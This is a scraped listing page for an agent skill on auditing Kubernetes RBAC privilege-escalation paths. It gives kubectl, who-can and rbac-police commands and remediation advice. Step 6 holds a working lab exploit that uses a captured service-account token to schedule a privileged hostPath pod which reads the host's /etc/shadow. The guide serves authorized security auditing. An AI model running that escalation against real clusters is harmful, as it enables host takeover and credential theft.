[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7E2FD7D69V2H6MH7EGYA9YN":3,"skill-same:01M7E2FD7D69V2H6MH7EGYA9YN":84},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":42,"commitSha":43,"skillDirectory":44,"forksCount":45,"repositoryHtmlUrl":46,"repositoryHomepageUrl":6,"ownerHtmlUrl":47,"ownerBlogUrl":6,"ownerDescription":48,"updatedAt":49,"install":50,"resources":63},"01M7E2FD7D69V2H6MH7EGYA9YN","auditing-kubernetes-rbac-privilege-escalation",null,"Finds over-permissive RBAC roles and service-account token abuse paths in a Kubernetes cluster using kubectl auth can-i, rbac-police, kubectl-who-can, and rakkess, tracing which subjects can escalate toward cluster-admin. Use when reviewing who can escalate privileges in a cluster, hunting exploitable RoleBindings during an authorized review, or validating least privilege after an RBAC change. Keywords: RBAC, ClusterRoleBinding, service account token, auth can-i, rbac-police, escalate, bind, impersonate. Do not use for designing and applying hardened RBAC - use implementing-rbac-hardening-for-kubernetes.","sanjeevafk\u002Fagent-skills","sanjeevafk","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F230678117?v=4","01M7C540EFY46ETG1NNWKS5X3Q","Sanjeev","01M7C540F366J5C1D587BMKH9Q",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fauditing-kubernetes-rbac-privilege-escalation\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fauditing-kubernetes-rbac-privilege-escalation\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: auditing-kubernetes-rbac-privilege-escalation\ndescription: >-\n  Finds over-permissive RBAC roles and service-account token abuse paths in a Kubernetes\n  cluster using kubectl auth can-i, rbac-police, kubectl-who-can, and rakkess, tracing which\n  subjects can escalate toward cluster-admin. Use when reviewing who can escalate privileges\n  in a cluster, hunting exploitable RoleBindings during an authorized review, or validating\n  least privilege after an RBAC change. Keywords: RBAC, ClusterRoleBinding, service account\n  token, auth can-i, rbac-police, escalate, bind, impersonate. Do not use for designing and\n  applying hardened RBAC - use implementing-rbac-hardening-for-kubernetes.\ndomain: cybersecurity\nsubdomain: container-security\ntags:\n- kubernetes\n- rbac\n- privilege-escalation\n- service-account\n- least-privilege\n- kubectl\n- access-control\n- attack-paths\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1078\n---\n# Auditing Kubernetes RBAC Privilege Escalation\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Enumerating and exercising RBAC permissions affects a live cluster's access posture. Only test clusters you own or are explicitly authorized in writing to assess.\n\n## Overview\n\nKubernetes Role-Based Access Control (RBAC, MITRE ATT&CK T1078 Valid Accounts) governs what every user and service account may do via `Role`\u002F`ClusterRole` rules bound by `RoleBinding`\u002F`ClusterRoleBinding`. Because workloads run with a mounted service-account token by default, an attacker who compromises one pod inherits that account's RBAC rights. Over-permissive bindings turn a single compromised pod into a cluster takeover: certain verbs and resources are \"RBAC-equivalent to cluster-admin.\"\n\nPer the Kubernetes \"RBAC Good Practices\" guidance and Unit 42 research, the dangerous primitives are:\n\n- **`escalate` on roles** — grant yourself any permission, even ones you do not hold.\n- **`bind` on clusterroles** — create a binding to `cluster-admin`.\n- **`impersonate`** on users\u002Fgroups\u002Fserviceaccounts — act as any subject including `system:masters`.\n- **`create`\u002F`update`\u002F`patch` on `pods`** — schedule a privileged pod or mount the node, escaping to the host (T1611).\n- **`create` on `pods\u002Fexec`, `pods\u002Fattach`, `pods\u002Fephemeralcontainers`** — run code in any existing pod.\n- **`get`\u002F`list`\u002F`watch` on `secrets`** — list returns full secret contents, including other service-account tokens.\n- **`create` on `serviceaccounts\u002Ftoken`** — mint tokens for more privileged accounts.\n- **`update`\u002F`patch` on `validatingwebhookconfigurations`\u002F`mutatingwebhookconfigurations`, `nodes\u002Fproxy`, `certificatesigningrequests\u002Fapproval`** — admission\u002FCSR abuse to cluster-admin.\n- **Wildcards** (`verbs: [\"*\"]`, `resources: [\"*\"]`) — implicit super-privilege.\n\nThis skill systematically enumerates effective permissions for every subject, maps which subjects hold these escalation primitives, and produces remediation evidence. Source: Kubernetes RBAC Good Practices; Unit 42 Kubernetes RBAC research.\n\n## When to Use\n\n- During an authorized Kubernetes security assessment or cluster penetration test\n- After compromising a pod, to determine what its service-account token can reach\n- When reviewing RBAC drift before a production go-live\n- When validating least-privilege after a platform migration or Helm rollout\n\n## Prerequisites\n\n- `kubectl` configured against the target cluster (your own credentials, or a captured service-account token)\n- Read access to RBAC objects (most audits run with a cluster-reader or admin context)\n- Audit tooling:\n  ```bash\n  # rbac-police - find escalation paths (Cymulate)\n  curl -L https:\u002F\u002Fgithub.com\u002FPaloAltoNetworks\u002Frbac-police\u002Freleases\u002Flatest\u002Fdownload\u002Frbac-police-linux-amd64 -o rbac-police\n  chmod +x rbac-police\n\n  # kubectl-who-can - which subjects can perform an action (Aqua)\n  kubectl krew install who-can\n\n  # rakkess - access matrix of resources x verbs for the current\u002Fanother subject\n  kubectl krew install access-matrix\n\n  # rbac-lookup - which roles a subject has (FairwindsOps)\n  kubectl krew install rbac-lookup\n  ```\n\n## Objectives\n\n- Inventory all `Role`, `ClusterRole`, `RoleBinding`, and `ClusterRoleBinding` objects\n- Enumerate effective permissions per subject using `kubectl auth can-i --as`\n- Identify subjects holding RBAC-equivalent-to-admin primitives\n- Trace token-mounting pods to over-privileged service accounts\n- Demonstrate (in a lab) one escalation path end-to-end\n- Output a prioritized findings report with least-privilege remediation\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|--------------|------|--------|\n| T1078 | Valid Accounts | Defense Evasion \u002F Persistence \u002F Privilege Escalation |\n| T1098 | Account Manipulation | Persistence |\n| T1528 | Steal Application Access Token | Credential Access |\n| T1613 | Container and Resource Discovery | Discovery |\n| T1611 | Escape to Host | Privilege Escalation |\n\n## Workflow\n\n### Step 1: Inventory RBAC Objects\n\n```bash\n# All roles and bindings, cluster-wide\nkubectl get clusterroles,clusterrolebindings -o wide\nkubectl get roles,rolebindings --all-namespaces -o wide\n\n# Dump full RBAC for offline analysis\nkubectl get clusterroles,clusterrolebindings,roles,rolebindings \\\n  --all-namespaces -o yaml > rbac-dump.yaml\n\n# Who is bound to cluster-admin?\nkubectl get clusterrolebindings -o json | \\\n  jq -r '.items[] | select(.roleRef.name==\"cluster-admin\") |\n         .metadata.name + \" -> \" + (.subjects \u002F\u002F [] | map(.kind+\"\u002F\"+.name) | join(\",\"))'\n```\n\n### Step 2: Enumerate Effective Permissions per Subject\n\n`kubectl auth can-i` is the authoritative check because it evaluates the live authorizer (RBAC + webhooks). Use `--as` to impersonate a subject (requires impersonate rights for the audit identity).\n\n```bash\n# Full access matrix for a service account\nkubectl auth can-i --list \\\n  --as=system:serviceaccount:default:default\n\n# Targeted dangerous-permission probes\nkubectl auth can-i create pods --all-namespaces \\\n  --as=system:serviceaccount:dev:builder\nkubectl auth can-i get secrets --all-namespaces \\\n  --as=system:serviceaccount:dev:builder\nkubectl auth can-i create serviceaccounts\u002Ftoken -n kube-system \\\n  --as=system:serviceaccount:dev:builder\nkubectl auth can-i '*' '*' --all-namespaces \\\n  --as=system:serviceaccount:dev:builder\n\n# rakkess full verb x resource matrix for a subject\nkubectl access-matrix --as system:serviceaccount:dev:builder\n```\n\n### Step 3: Hunt the Escalation Primitives\n\n```bash\n# Who can perform each dangerous action across the cluster?\nkubectl who-can create pods\nkubectl who-can '*' '*'                      # wildcard god-mode holders\nkubectl who-can get secrets\nkubectl who-can list secrets\nkubectl who-can create pods\u002Fexec\nkubectl who-can impersonate users\nkubectl who-can create serviceaccounts\u002Ftoken\nkubectl who-can update clusterrolebindings   # bind-style escalation\n\n# grep the raw dump for escalate\u002Fbind\u002Fimpersonate verbs and wildcards\ngrep -nE 'escalate|impersonate|\"\\*\"|- bind' rbac-dump.yaml\n```\n\n### Step 4: Run Automated Escalation-Path Analysis with rbac-police\n\nrbac-police evaluates Rego policies over a cluster snapshot to surface principals that can escalate to cluster-admin and the exact path.\n\n```bash\n# Run all built-in escalation checks (needs a kubeconfig with read access)\n.\u002Frbac-police eval .\u002Flib\u002Fpolicies\u002F\n\n# Only the privilege-escalation policy, severe findings as JSON\n.\u002Frbac-police eval .\u002Flib\u002Fpolicies\u002Fcan_escalate.rego -f json -o findings.json\n\n# Collect a snapshot first (offline analysis \u002F air-gapped review)\n.\u002Frbac-police collect -o cluster-snapshot.json\n.\u002Frbac-police eval .\u002Flib\u002Fpolicies\u002F --collect-results cluster-snapshot.json\n```\n\n### Step 5: Trace Pods to Over-Privileged Service Accounts\n\nA finding only matters if a reachable workload mounts that token.\n\n```bash\n# Map every pod to its service account\nkubectl get pods --all-namespaces \\\n  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'\n\n# Find pods that auto-mount tokens (the default) tied to risky SAs\nkubectl get pods --all-namespaces -o json | jq -r '\n  .items[] | select(.spec.automountServiceAccountToken != false) |\n  \"\\(.metadata.namespace)\u002F\\(.metadata.name) -> \\(.spec.serviceAccountName \u002F\u002F \"default\")\"'\n\n# rbac-lookup: what does that service account actually hold?\nkubectl rbac-lookup builder --kind serviceaccount\n```\n\n### Step 6: Demonstrate an Escalation Path (Lab Only)\n\nExample: a service account with `create pods` and access to a node can schedule a privileged pod that mounts the host filesystem.\n\n```bash\n# Using a captured token, target the API server directly\nexport TOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\nexport APISERVER=https:\u002F\u002Fkubernetes.default.svc\n\n# Confirm the dangerous right\nkubectl --token=\"$TOKEN\" --server=\"$APISERVER\" --insecure-skip-tls-verify \\\n  auth can-i create pods\n\n# Schedule a privileged host-mounting pod (proves node\u002Fhost takeover)\ncat \u003C\u003C'EOF' | kubectl --token=\"$TOKEN\" --server=\"$APISERVER\" \\\n  --insecure-skip-tls-verify apply -f -\napiVersion: v1\nkind: Pod\nmetadata: {name: escalate-poc, namespace: default}\nspec:\n  containers:\n  - name: x\n    image: alpine\n    command: [\"\u002Fbin\u002Fsh\",\"-c\",\"cat \u002Fhost\u002Fetc\u002Fshadow; sleep 1d\"]\n    securityContext: {privileged: true}\n    volumeMounts: [{name: host, mountPath: \u002Fhost}]\n  volumes: [{name: host, hostPath: {path: \u002F}}]\nEOF\nkubectl logs escalate-poc   # host \u002Fetc\u002Fshadow proves escalation\n```\n\n### Step 7: Report and Remediate\n\n```bash\n# Generate a least-privilege-violation summary\nkubectl get clusterrolebindings -o json | jq -r '\n  .items[] | select(.roleRef.name==\"cluster-admin\") |\n  \"FINDING cluster-admin bound to: \" +\n  ((.subjects \u002F\u002F []) | map(.kind+\":\"+.name) | join(\", \"))'\n```\n\nRemediation: replace wildcards with explicit verbs\u002Fresources; remove `escalate`\u002F`bind`\u002F`impersonate` unless required; set `automountServiceAccountToken: false` on workloads that do not call the API; scope `Role` (namespaced) over `ClusterRole` where possible; use `aggregationRule` carefully.\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| kubectl auth can-i | Authoritative live permission check (`--list`, `--as`) | https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Freference\u002Faccess-authn-authz\u002Fauthorization\u002F |\n| rbac-police | Rego-based escalation-path analysis | https:\u002F\u002Fgithub.com\u002FPaloAltoNetworks\u002Frbac-police |\n| kubectl-who-can | Reverse lookup: who can do X | https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkubectl-who-can |\n| rakkess (access-matrix) | Verb x resource matrix per subject | https:\u002F\u002Fgithub.com\u002Fcorneliusweig\u002Frakkess |\n| rbac-lookup | Roles a subject holds | https:\u002F\u002Fgithub.com\u002FFairwindsOps\u002Frbac-lookup |\n| Kubernetes RBAC Good Practices | Authoritative escalation primitive list | https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Fsecurity\u002Frbac-good-practices\u002F |\n\n## Dangerous RBAC Primitives Reference\n\n| Verb \u002F Resource | Why It Is Cluster-Admin-Equivalent |\n|-----------------|------------------------------------|\n| `escalate` on roles | Grant self any permission |\n| `bind` on clusterroles | Bind self to cluster-admin |\n| `impersonate` users\u002Fgroups | Act as system:masters |\n| `create pods` (+ node access) | Privileged\u002FhostPath pod -> host takeover |\n| `create pods\u002Fexec`,`pods\u002Fattach` | Run code in existing pods |\n| `get`\u002F`list` secrets | Read all tokens & credentials |\n| `create serviceaccounts\u002Ftoken` | Mint privileged tokens |\n| `*`\u002F`*` (wildcards) | Implicit super-privilege |\n\n## Validation Criteria\n\n- [ ] All Role\u002FClusterRole\u002FBinding objects inventoried and dumped\n- [ ] cluster-admin subject list enumerated\n- [ ] Effective permissions enumerated per service account via `auth can-i --list`\n- [ ] All dangerous-primitive holders identified (escalate\u002Fbind\u002Fimpersonate\u002Fsecrets\u002Fpods)\n- [ ] rbac-police escalation paths reviewed\n- [ ] Token-mounting pods mapped to risky service accounts\n- [ ] At least one escalation path demonstrated in a lab\n- [ ] Findings report with least-privilege remediation produced\n- [ ] All testing stayed within authorized scope\n","# Auditing Kubernetes RBAC Privilege Escalation\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Enumerating and exercising RBAC permissions affects a live cluster's access posture. Only test clusters you own or are explicitly authorized in writing to assess.\n\n## Overview\n\nKubernetes Role-Based Access Control (RBAC, MITRE ATT&CK T1078 Valid Accounts) governs what every user and service account may do via `Role`\u002F`ClusterRole` rules bound by `RoleBinding`\u002F`ClusterRoleBinding`. Because workloads run with a mounted service-account token by default, an attacker who compromises one pod inherits that account's RBAC rights. Over-permissive bindings turn a single compromised pod into a cluster takeover: certain verbs and resources are \"RBAC-equivalent to cluster-admin.\"\n\nPer the Kubernetes \"RBAC Good Practices\" guidance and Unit 42 research, the dangerous primitives are:\n\n- **`escalate` on roles** — grant yourself any permission, even ones you do not hold.\n- **`bind` on clusterroles** — create a binding to `cluster-admin`.\n- **`impersonate`** on users\u002Fgroups\u002Fserviceaccounts — act as any subject including `system:masters`.\n- **`create`\u002F`update`\u002F`patch` on `pods`** — schedule a privileged pod or mount the node, escaping to the host (T1611).\n- **`create` on `pods\u002Fexec`, `pods\u002Fattach`, `pods\u002Fephemeralcontainers`** — run code in any existing pod.\n- **`get`\u002F`list`\u002F`watch` on `secrets`** — list returns full secret contents, including other service-account tokens.\n- **`create` on `serviceaccounts\u002Ftoken`** — mint tokens for more privileged accounts.\n- **`update`\u002F`patch` on `validatingwebhookconfigurations`\u002F`mutatingwebhookconfigurations`, `nodes\u002Fproxy`, `certificatesigningrequests\u002Fapproval`** — admission\u002FCSR abuse to cluster-admin.\n- **Wildcards** (`verbs: [\"*\"]`, `resources: [\"*\"]`) — implicit super-privilege.\n\nThis skill systematically enumerates effective permissions for every subject, maps which subjects hold these escalation primitives, and produces remediation evidence. Source: Kubernetes RBAC Good Practices; Unit 42 Kubernetes RBAC research.\n\n## When to Use\n\n- During an authorized Kubernetes security assessment or cluster penetration test\n- After compromising a pod, to determine what its service-account token can reach\n- When reviewing RBAC drift before a production go-live\n- When validating least-privilege after a platform migration or Helm rollout\n\n## Prerequisites\n\n- `kubectl` configured against the target cluster (your own credentials, or a captured service-account token)\n- Read access to RBAC objects (most audits run with a cluster-reader or admin context)\n- Audit tooling:\n  ```bash\n  # rbac-police - find escalation paths (Cymulate)\n  curl -L https:\u002F\u002Fgithub.com\u002FPaloAltoNetworks\u002Frbac-police\u002Freleases\u002Flatest\u002Fdownload\u002Frbac-police-linux-amd64 -o rbac-police\n  chmod +x rbac-police\n\n  # kubectl-who-can - which subjects can perform an action (Aqua)\n  kubectl krew install who-can\n\n  # rakkess - access matrix of resources x verbs for the current\u002Fanother subject\n  kubectl krew install access-matrix\n\n  # rbac-lookup - which roles a subject has (FairwindsOps)\n  kubectl krew install rbac-lookup\n  ```\n\n## Objectives\n\n- Inventory all `Role`, `ClusterRole`, `RoleBinding`, and `ClusterRoleBinding` objects\n- Enumerate effective permissions per subject using `kubectl auth can-i --as`\n- Identify subjects holding RBAC-equivalent-to-admin primitives\n- Trace token-mounting pods to over-privileged service accounts\n- Demonstrate (in a lab) one escalation path end-to-end\n- Output a prioritized findings report with least-privilege remediation\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|--------------|------|--------|\n| T1078 | Valid Accounts | Defense Evasion \u002F Persistence \u002F Privilege Escalation |\n| T1098 | Account Manipulation | Persistence |\n| T1528 | Steal Application Access Token | Credential Access |\n| T1613 | Container and Resource Discovery | Discovery |\n| T1611 | Escape to Host | Privilege Escalation |\n\n## Workflow\n\n### Step 1: Inventory RBAC Objects\n\n```bash\n# All roles and bindings, cluster-wide\nkubectl get clusterroles,clusterrolebindings -o wide\nkubectl get roles,rolebindings --all-namespaces -o wide\n\n# Dump full RBAC for offline analysis\nkubectl get clusterroles,clusterrolebindings,roles,rolebindings \\\n  --all-namespaces -o yaml > rbac-dump.yaml\n\n# Who is bound to cluster-admin?\nkubectl get clusterrolebindings -o json | \\\n  jq -r '.items[] | select(.roleRef.name==\"cluster-admin\") |\n         .metadata.name + \" -> \" + (.subjects \u002F\u002F [] | map(.kind+\"\u002F\"+.name) | join(\",\"))'\n```\n\n### Step 2: Enumerate Effective Permissions per Subject\n\n`kubectl auth can-i` is the authoritative check because it evaluates the live authorizer (RBAC + webhooks). Use `--as` to impersonate a subject (requires impersonate rights for the audit identity).\n\n```bash\n# Full access matrix for a service account\nkubectl auth can-i --list \\\n  --as=system:serviceaccount:default:default\n\n# Targeted dangerous-permission probes\nkubectl auth can-i create pods --all-namespaces \\\n  --as=system:serviceaccount:dev:builder\nkubectl auth can-i get secrets --all-namespaces \\\n  --as=system:serviceaccount:dev:builder\nkubectl auth can-i create serviceaccounts\u002Ftoken -n kube-system \\\n  --as=system:serviceaccount:dev:builder\nkubectl auth can-i '*' '*' --all-namespaces \\\n  --as=system:serviceaccount:dev:builder\n\n# rakkess full verb x resource matrix for a subject\nkubectl access-matrix --as system:serviceaccount:dev:builder\n```\n\n### Step 3: Hunt the Escalation Primitives\n\n```bash\n# Who can perform each dangerous action across the cluster?\nkubectl who-can create pods\nkubectl who-can '*' '*'                      # wildcard god-mode holders\nkubectl who-can get secrets\nkubectl who-can list secrets\nkubectl who-can create pods\u002Fexec\nkubectl who-can impersonate users\nkubectl who-can create serviceaccounts\u002Ftoken\nkubectl who-can update clusterrolebindings   # bind-style escalation\n\n# grep the raw dump for escalate\u002Fbind\u002Fimpersonate verbs and wildcards\ngrep -nE 'escalate|impersonate|\"\\*\"|- bind' rbac-dump.yaml\n```\n\n### Step 4: Run Automated Escalation-Path Analysis with rbac-police\n\nrbac-police evaluates Rego policies over a cluster snapshot to surface principals that can escalate to cluster-admin and the exact path.\n\n```bash\n# Run all built-in escalation checks (needs a kubeconfig with read access)\n.\u002Frbac-police eval .\u002Flib\u002Fpolicies\u002F\n\n# Only the privilege-escalation policy, severe findings as JSON\n.\u002Frbac-police eval .\u002Flib\u002Fpolicies\u002Fcan_escalate.rego -f json -o findings.json\n\n# Collect a snapshot first (offline analysis \u002F air-gapped review)\n.\u002Frbac-police collect -o cluster-snapshot.json\n.\u002Frbac-police eval .\u002Flib\u002Fpolicies\u002F --collect-results cluster-snapshot.json\n```\n\n### Step 5: Trace Pods to Over-Privileged Service Accounts\n\nA finding only matters if a reachable workload mounts that token.\n\n```bash\n# Map every pod to its service account\nkubectl get pods --all-namespaces \\\n  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'\n\n# Find pods that auto-mount tokens (the default) tied to risky SAs\nkubectl get pods --all-namespaces -o json | jq -r '\n  .items[] | select(.spec.automountServiceAccountToken != false) |\n  \"\\(.metadata.namespace)\u002F\\(.metadata.name) -> \\(.spec.serviceAccountName \u002F\u002F \"default\")\"'\n\n# rbac-lookup: what does that service account actually hold?\nkubectl rbac-lookup builder --kind serviceaccount\n```\n\n### Step 6: Demonstrate an Escalation Path (Lab Only)\n\nExample: a service account with `create pods` and access to a node can schedule a privileged pod that mounts the host filesystem.\n\n```bash\n# Using a captured token, target the API server directly\nexport TOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\nexport APISERVER=https:\u002F\u002Fkubernetes.default.svc\n\n# Confirm the dangerous right\nkubectl --token=\"$TOKEN\" --server=\"$APISERVER\" --insecure-skip-tls-verify \\\n  auth can-i create pods\n\n# Schedule a privileged host-mounting pod (proves node\u002Fhost takeover)\ncat \u003C\u003C'EOF' | kubectl --token=\"$TOKEN\" --server=\"$APISERVER\" \\\n  --insecure-skip-tls-verify apply -f -\napiVersion: v1\nkind: Pod\nmetadata: {name: escalate-poc, namespace: default}\nspec:\n  containers:\n  - name: x\n    image: alpine\n    command: [\"\u002Fbin\u002Fsh\",\"-c\",\"cat \u002Fhost\u002Fetc\u002Fshadow; sleep 1d\"]\n    securityContext: {privileged: true}\n    volumeMounts: [{name: host, mountPath: \u002Fhost}]\n  volumes: [{name: host, hostPath: {path: \u002F}}]\nEOF\nkubectl logs escalate-poc   # host \u002Fetc\u002Fshadow proves escalation\n```\n\n### Step 7: Report and Remediate\n\n```bash\n# Generate a least-privilege-violation summary\nkubectl get clusterrolebindings -o json | jq -r '\n  .items[] | select(.roleRef.name==\"cluster-admin\") |\n  \"FINDING cluster-admin bound to: \" +\n  ((.subjects \u002F\u002F []) | map(.kind+\":\"+.name) | join(\", \"))'\n```\n\nRemediation: replace wildcards with explicit verbs\u002Fresources; remove `escalate`\u002F`bind`\u002F`impersonate` unless required; set `automountServiceAccountToken: false` on workloads that do not call the API; scope `Role` (namespaced) over `ClusterRole` where possible; use `aggregationRule` carefully.\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| kubectl auth can-i | Authoritative live permission check (`--list`, `--as`) | https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Freference\u002Faccess-authn-authz\u002Fauthorization\u002F |\n| rbac-police | Rego-based escalation-path analysis | https:\u002F\u002Fgithub.com\u002FPaloAltoNetworks\u002Frbac-police |\n| kubectl-who-can | Reverse lookup: who can do X | https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkubectl-who-can |\n| rakkess (access-matrix) | Verb x resource matrix per subject | https:\u002F\u002Fgithub.com\u002Fcorneliusweig\u002Frakkess |\n| rbac-lookup | Roles a subject holds | https:\u002F\u002Fgithub.com\u002FFairwindsOps\u002Frbac-lookup |\n| Kubernetes RBAC Good Practices | Authoritative escalation primitive list | https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Fsecurity\u002Frbac-good-practices\u002F |\n\n## Dangerous RBAC Primitives Reference\n\n| Verb \u002F Resource | Why It Is Cluster-Admin-Equivalent |\n|-----------------|------------------------------------|\n| `escalate` on roles | Grant self any permission |\n| `bind` on clusterroles | Bind self to cluster-admin |\n| `impersonate` users\u002Fgroups | Act as system:masters |\n| `create pods` (+ node access) | Privileged\u002FhostPath pod -> host takeover |\n| `create pods\u002Fexec`,`pods\u002Fattach` | Run code in existing pods |\n| `get`\u002F`list` secrets | Read all tokens & credentials |\n| `create serviceaccounts\u002Ftoken` | Mint privileged tokens |\n| `*`\u002F`*` (wildcards) | Implicit super-privilege |\n\n## Validation Criteria\n\n- [ ] All Role\u002FClusterRole\u002FBinding objects inventoried and dumped\n- [ ] cluster-admin subject list enumerated\n- [ ] Effective permissions enumerated per service account via `auth can-i --list`\n- [ ] All dangerous-primitive holders identified (escalate\u002Fbind\u002Fimpersonate\u002Fsecrets\u002Fpods)\n- [ ] rbac-police escalation paths reviewed\n- [ ] Token-mounting pods mapped to risky service accounts\n- [ ] At least one escalation path demonstrated in a lab\n- [ ] Findings report with least-privilege remediation produced\n- [ ] All testing stayed within authorized scope\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"nist_csf":37,"subdomain":39,"description":7,"mitre_attack":40},[26,27,28,29,30,31,32,33],"kubernetes","rbac","privilege-escalation","service-account","least-privilege","kubectl","access-control","attack-paths","mahipal","cybersecurity","1.0",[38],"PR.AA-05","container-security",[41],"T1078","main","4e084e84eb42fc53e144c89c0f7f48b39c8a4b0f","collections\u002Fcybersecurity-skills\u002Fskills\u002Fauditing-kubernetes-rbac-privilege-escalation",1,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills","https:\u002F\u002Fgithub.com\u002Fsanjeevafk","First make it work. Then make it right. Then make it fast.","2026-11-14 13:36:16",{"source":8,"skillName":5,"commands":51,"prompt":61,"zipAvailable":62},[52,55,58],{"tool":53,"command":54},"npx","npx skills add sanjeevafk\u002Fagent-skills --skill auditing-kubernetes-rbac-privilege-escalation",{"tool":56,"command":57},"bunx","bunx skills add sanjeevafk\u002Fagent-skills --skill auditing-kubernetes-rbac-privilege-escalation",{"tool":59,"command":60},"pnpm","pnpm dlx skills add sanjeevafk\u002Fagent-skills --skill auditing-kubernetes-rbac-privilege-escalation","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fauditing-kubernetes-rbac-privilege-escalation\u002FSKILL.md",true,[64,68,74,78],{"path":65,"resourceType":65,"resourceTypeDesc":66,"sizeBytes":67,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":69,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":73},"references\u002Fapi-reference.md","REFERENCE","参考文档",2803,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fauditing-kubernetes-rbac-privilege-escalation\u002Freferences\u002Fapi-reference.md",{"path":75,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":76,"sourceHtmlUrl":77},"references\u002Fstandards.md",1881,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fauditing-kubernetes-rbac-privilege-escalation\u002Freferences\u002Fstandards.md",{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"scripts\u002Fagent.py","SCRIPT","脚本",5831,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fauditing-kubernetes-rbac-privilege-escalation\u002Fscripts\u002Fagent.py",[85,93,101,109,117,124],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":20},"01M7EFHX67M3KKXT1BXVPA5ADT","zarr-python","Chunked N-D arrays for cloud storage (Zarr-Python 3). Compressed arrays, parallel I\u002FO, S3\u002FGCS via fsspec, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","MIT","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzarr-python\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":97,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":20},"01M7EFFQGM51TZBGRENXY50ZYM","whiteboard-diagrams","Create accurate, simple, hand-drawn whiteboard diagrams from a user's process, system, architecture, learning workflow, comparison, or causal explanation. Use when the user asks for a scribbly whiteboard visual, educational workflow graphic, hand-drawn explainer, or diagram like the bundled reference; ask one focused clarification question when the subject or relationships are missing, then generate and visually verify the final image.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FSKILL.md",[],[],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":105,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":20},"01M7EFF1CSQNTDMHFK4ZGY6NYK","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser 